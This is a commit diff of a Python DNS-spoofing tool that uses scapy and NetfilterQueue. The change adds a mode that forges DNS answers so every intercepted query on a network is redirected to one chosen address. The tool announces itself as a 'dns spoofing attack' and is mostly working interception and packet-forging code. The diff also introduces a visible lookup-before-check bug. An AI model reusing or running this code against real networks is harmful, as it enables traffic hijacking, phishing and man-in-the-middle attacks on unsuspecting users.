6
6
import json
7
7
8
8
dns_hosts = {}
9
+ allwebsitesflag = False
10
+ redirect_to = ""
9
11
10
12
def process_packet (packet ):
11
13
""" processes captured packets """
@@ -24,12 +26,18 @@ def modify_packet(packet):
24
26
""" modifies dns packets """
25
27
26
28
global dns_hosts
29
+ global allwebsitesflag
30
+ global redirect_to
31
+
27
32
qname = packet [DNSQR ].qname
28
- if qname not in dns_hosts :
33
+ spoofto = dns_hosts [qname ]
34
+ if qname not in dns_hosts and (not allwebsitesflag ):
29
35
print (f"{ utils .colors .BLUE } ignoring { qname } (not on target list){ utils .colors .RESET } " )
30
36
return packet
31
- print (f"{ utils .colors .GREEN } spoofing { qname } to { utils .colors .BLUE } { utils .colors .ITALIC } { dns_hosts [qname ]} { utils .colors .RESET } " )
32
- packet [DNS ].an = DNSRR (rrname = qname , rdata = dns_hosts [qname ])
37
+ if allwebsitesflag :
38
+ spoofto = redirect_to
39
+ print (f"{ utils .colors .GREEN } spoofing { qname } to { utils .colors .BLUE } { utils .colors .ITALIC } { spoofto } { utils .colors .RESET } " )
40
+ packet [DNS ].an = DNSRR (rrname = qname , rdata = spoofto )
33
41
packet [DNS ].ancount = 1
34
42
del packet [IP ].len
35
43
del packet [IP ].chksum
@@ -50,10 +58,19 @@ def load_targetlist(filename):
50
58
51
59
def start_spoofing (recordsfile ):
52
60
""" starts spoofing dns reponses """
53
-
61
+
62
+ global allwebsitesflag
63
+ global redirect_to
64
+
65
+ allwebsitesflag = recordsfile .startswith ("all_" )
66
+
54
67
try :
55
68
print (f"{ utils .colors .GREEN } *{ utils .colors .ITALIC } starting dns spoofing attack{ utils .colors .RESET } " )
56
- load_targetlist (recordsfile )
69
+ if not allwebsitesflag :
70
+ load_targetlist (recordsfile )
71
+ else :
72
+ redirect_to = recordsfile .split ("all_" )[1 ]
73
+ print (f"{ utils .colors .GREEN } *{ utils .colors .ITALIC } redirecting all dns requests to { utils .colors .WARNING } { redirect_to } { utils .colors .RESET } " )
57
74
queue = NetfilterQueue ()
58
75
queue .bind (0 , process_packet )
59
76
queue .run ()
0 commit comments